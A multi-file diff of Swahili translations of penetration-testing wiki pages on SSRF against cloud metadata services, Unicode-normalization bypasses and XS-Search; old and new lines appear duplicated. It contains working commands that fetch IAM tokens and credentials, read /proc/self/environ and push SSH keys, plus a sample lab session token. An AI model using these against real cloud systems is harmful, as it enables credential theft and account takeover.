> Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na hati**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kupata metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2.
>
> Zaidi ya hayo, **IMDSv2** pia itakuwa **zuia maombi ya kupata token ambayo yanajumuisha `X-Forwarded-For` header**. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisipate kufikia hiyo.
> Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha header ya `X-Forwarded-For`**. Hii ni ili kuzuia proxies za nyuma zilizowekwa vibaya kuweza kuipata.
Unaweza kupata taarifa kuhusu [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo taarifa za kuvutia zinapatikana kutoka kwake:
Unaweza kupata taarifa kuhusu [madoa ya metadata katika hati](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika skripti ifuatayo, taarifa za kuvutia zinapatikana kutoka kwake:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -77,7 +77,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
```
Kama mfano wa **IAM credentials** zinazopatikana hadharani, unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Unaweza pia kuangalia **EC2 security credentials** za umma katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Pia unaweza kuangalia **EC2 security credentials** za umma katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Basi unaweza kuchukua **credentials hizo na kuzitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina ruhusa** kufanya.
@ -88,16 +88,16 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Notice the **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi.
Tafadhali angalia **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akauti zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akidi zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki.
### SSRF katika AWS ECS (Huduma ya Kontena) credentials
### SSRF katika AWS ECS (Huduma ya Kontena) akidi
**ECS**, ni kundi la mantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **metadata endpoints zinabadilika**.
**ECS**, ni kundi la kimantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **mipaka ya metadata inabadilika**.
Ikiwa utaweza kufikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaweza kupata akauti za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma variable ya **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\
Unaweza kuwa na uwezo wa kuisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\
Ikiwa unapata _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaona akidi za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma kiambishi cha **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\
Unaweza kuwa na uwezo wa kukisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@ -122,7 +122,7 @@ Zaidi ya hayo, pamoja na akidi za IAM, kazi za Lambda pia zina **data ya tukio a
### SSRF URL kwa AWS Elastic Beanstalk
Tunapata `accountId` na `region` kutoka kwa API.
Tunapata `accountId` na `region` kutoka API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
@ -248,7 +248,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
### Ongeza funguo ya SSH
Toa token hiyo
Toa token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
@ -262,7 +262,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
"access_type": "offline"
}
```
Sasa sukuma funguo ya SSH.
Sasa sukuma ufunguo wa SSH.
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
### Cloud Functions
Mwandiko wa metadata unafanya kazi sawa na katika VMs lakini bila baadhi ya mwandiko:
Mwandiko wa metadata unafanya kazi sawa na katika VMs lakini bila baadhi ya mipangilio:
```bash
# /project
# Project name and number
@ -299,7 +299,7 @@ done
## Digital Ocean
> [!WARNING]
> Hakuna vitu kama AWS Roles au GCP service account, hivyo usitarajie kupata akauti za metadata bot
> Hakuna vitu kama AWS Roles au GCP service account, hivyo usitarajie kupata akiba ya metadata bot credentials
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq
- Lazima **isiwe** na kichwa `X-Forwarded-For`
> [!TIP]
> Azure VM inaweza kuwa na utambulisho 1 wa mfumo uliopewa usimamizi na utambulisho kadhaa wa mtumiaji uliopewa usimamizi. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote wa usimamizi ulioambatanishwa na VM**.
> Azure VM inaweza kuwa na utambulisho mmoja unaosimamiwa na mfumo na utambulisho kadhaa unaosimamiwa na mtumiaji. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote unaosimamiwa ulioambatanishwa na VM**.
>
> Kwa **kawaida**, mwisho wa metadata utatumia **MI iliyopewa mfumo (ikiwa ipo)**.
> Unapofanya ombi la token ya ufikiaji kwa kiunganishi cha metadata, kwa kawaida huduma ya metadata itatumia **utambulisho wa mfumo uliopewa** ili kuunda token, ikiwa kuna utambulisho wowote wa mfumo uliopewa. Ikiwa kuna **UTAMBULISHO MMOJA** wa mtumiaji uliopewa, basi hii itatumika kwa kawaida. Hata hivyo, ikiwa hakuna utambulisho wa mfumo uliopewa na kuna **utambulisho kadhaa wa mtumiaji uliopewa**, basi huduma ya metadata itarudisha kosa ikionyesha kwamba kuna utambulisho kadhaa na ni muhimu **kueleza ni ipi itumike**.
>
> Kwa bahati mbaya sikuweza kupata mwisho wowote wa metadata unaoonyesha MIs zote ambazo VM inaambatanishwa nazo.
> Kwa bahati mbaya, sikuweza kupata kiunganishi chochote cha metadata kinachoonyesha MIs zote ambazo VM inaambatanishwa nazo, hivyo kubaini utambulisho wote uliopewa kwa VM inaweza kuwa kazi ngumu kutoka kwa mtazamo wa Red Team.
>
> Hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya:
> Kwa hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya:
>
> - Pata **utambulisho ulioambatanishwa na az cli** (ikiwa tayari umepata udhibiti wa kiongozi katika Azure tenant)
> - Pata **utambulisho ulioambatanishwa na az cli** (ikiwa tayari umepata udhibiti wa kiongozi katika tenant ya Azure)
>
> ```bash
> az vm identity show \
@ -339,12 +339,12 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyoambatanishwa kwa kawaida katika metadata:
> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyounganishwa ya default katika metadata:
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Pata token kutoka MI ya kawaida
> # Pata token kutoka MI ya default
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Pata yote** ya utambulisho wa usimamizi uliofafanuliwa katika tenant na **fanya brute force** kuona kama yoyote yao imeunganishwa na VM:
> - **Pata yote** ya utambulisho unaosimamiwa yaliyofafanuliwa katika tenant na **brute force** kuona kama yoyote yao imeunganishwa na VM:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho wa usimamizi unayotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya kawaida itatumika**.
> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho unaotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya default itatumika**.
{{#tabs}}
{{#tab name="Bash"}}
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
{{#endtab}}
{{#tab name="PS"}}
```powershell
```bash
# Define the API version
$API_VERSION = "2019-08-01"
@ -511,7 +524,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
## IBM Cloud
> [!WARNING]
> Kumbuka kwamba katika IBM kwa kawaida metadata haijawashwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya VM ya IBM cloud
> Kumbuka kwamba katika IBM kwa kawaida metadata haijawashwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya VM ya IBM cloud.
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Documentation kwa huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa utekelezaji wa mifano zinaweza kupatikana. Kila jukwaa linatoa mwisho wa kipekee kufikia huduma zake za metadata.
Documentation kwa huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa utekelezaji wa mifano zinaweza kupatikana. Kila jukwaa linatoa njia za kipekee za kufikia huduma zake za metadata.
## Packetcloud
@ -555,7 +568,7 @@ Hitaji la kichwa hakijatajwa hapa pia. Metadata inapatikana kwenye:
## Oracle Cloud
Oracle Cloud inatoa mfululizo wa mwisho wa kufikia vipengele mbalimbali vya metadata:
Oracle Cloud inatoa mfululizo wa njia za kufikia vipengele mbalimbali vya metadata:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -564,7 +577,7 @@ Oracle Cloud inatoa mfululizo wa mwisho wa kufikia vipengele mbalimbali vya meta
## Alibaba
Alibaba inatoa mwisho wa kufikia metadata, ikiwa ni pamoja na vitambulisho vya mfano na picha:
Alibaba inatoa njia za kufikia metadata, ikiwa ni pamoja na vitambulisho vya mifano na picha:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`

View File

@ -4,26 +4,26 @@
**Hii ni muhtasari wa:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Angalia kwa maelezo zaidi (picha zimechukuliwa kutoka hapo).
## Understanding Unicode and Normalization
## Kuelewa Unicode na Normalization
Unicode normalization ni mchakato unaohakikisha kwamba uwakilishi tofauti wa kibinafsi wa wahusika unastandariswa kuwa thamani moja ya kibinafsi. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika:
Unicode normalization ni mchakato unaohakikisha kwamba uwakilishi tofauti wa kibinafsi wa wahusika unakuwa wa kiwango sawa. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika:
1. **Canonical Equivalence**: Wahusika wanachukuliwa kuwa sawa kikanuni ikiwa wana muonekano na maana sawa wanapochapishwa au kuonyeshwa.
2. **Compatibility Equivalence**: Aina dhaifu ya usawa ambapo wahusika wanaweza kuwakilisha wahusika sawa wa kiabstrakti lakini wanaweza kuonyeshwa tofauti.
Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa ufahamu wa kina zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/).
Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa kuelewa zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/).
### Key Points on Unicode Encoding
### Vidokezo Muhimu Kuhusu Unicode Encoding
Kuelewa encoding ya Unicode ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna pointi kuu:
Kuelewa Unicode encoding ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna vidokezo vikuu:
- **Code Points and Characters**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
- **Bytes Representation**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa byte. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
- **Processing Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
- **Variants of UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumia angalau byte 2, hadi 4) na UTF-32 (ikitumia byte 4 kwa wahusika wote).
- **Code Points na Wahusika**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point".
- **Uwaki wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi.
- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa bytes. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine.
- **Usindikaji wa Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi.
- **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumika angalau byte 2, hadi 4) na UTF-32 (ikitumika byte 4 kwa wahusika wote).
Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza matatizo yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding.
Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza masuala yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding.
Mfano wa jinsi Unicode inavyonormalize byte mbili tofauti zinazowakilisha wahusika sawa:
```python
@ -81,7 +81,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
### XSS (Cross Site Scripting)
Unaweza kutumia moja ya wahusika ifuatayo kudanganya webapp na kutumia XSS:
Unaweza kutumia mmoja wa wahusika hawa kufanyia hila webapp na kutumia XSS:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
@ -93,7 +93,7 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `%
Wakati backend inafanya **kuangalia ingizo la mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **ingizo** linakuwa **normalized** kwa **regex** lakini **siyo** kwa mahali linapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing the sent URL** lakini kisha **inaccess it as is**.
Zana [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* inaruhusu **kuunda tofauti za ingizo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaruhusu **kuunda tofauti za ingizo** ili kufanyia fuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow

View File

@ -6,12 +6,12 @@
XS-Search ni mbinu inayotumika kwa **kuchota taarifa za cross-origin** kwa kutumia **udhaifu wa njia za pembeni**.
Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na:
Vipengele muhimu vinavyohusika katika shambulio hili ni:
- **Mtandao wa Udhaifu**: Tovuti lengwa ambayo taarifa inakusudiwa kuchotwa.
- **Mtandao wa Udhaifu**: Tovuti inayolengwa kutoka ambayo taarifa inakusudiwa kuchukuliwa.
- **Mtandao wa Mshambuliaji**: Tovuti mbaya iliyoundwa na mshambuliaji, ambayo mwathirika anatembelea, ikihifadhi exploit.
- **Mbinu ya Kujumuisha**: Mbinu inayotumika kuingiza Mtandao wa Udhaifu katika Mtandao wa Mshambuliaji (mfano, window.open, iframe, fetch, tag ya HTML yenye href, n.k.).
- **Mbinu ya Kuonyesha**: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha.
- **Mbinu ya Kuacha**: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha.
- **Hali**: Masharti mawili yanayoweza kutokea ya Mtandao wa Udhaifu, ambayo mshambuliaji anajaribu kutofautisha.
- **Tofauti Zinazoweza Kugundulika**: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea ili kubaini hali ya Mtandao wa Udhaifu.
@ -19,28 +19,28 @@ Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na:
Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitishaji.
- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho.
- **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript.
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia yale yanayosababishwa na JavaScript au HTML.
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia wale wanaosababishwa na JavaScript au HTML.
- **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha.
- **Header ya HTTP**: Kurekodi uwepo au labda thamani ya **header maalum ya majibu ya HTTP**, ikiwa ni pamoja na headers kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
- **Muda**: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili.
### Inclusion Methods
- **HTML Elements**: HTML inatoa vipengele mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vipengele vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Frames**: Vipengele kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kituo cha fremu kupitia mali ya contentWindow.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitishaji wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali inayolengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali zinazolengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
### Leak Techniques
- **Event Handler**: Mbinu ya kawaida ya kuonyesha katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuonyesha moja kwa moja kutoka kwa ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo.
- **Mipaka ya Ulimwengu**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya kuonyesha.
- **Event Handler**: Mbinu ya kawaida ya kuacha katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuacha moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo.
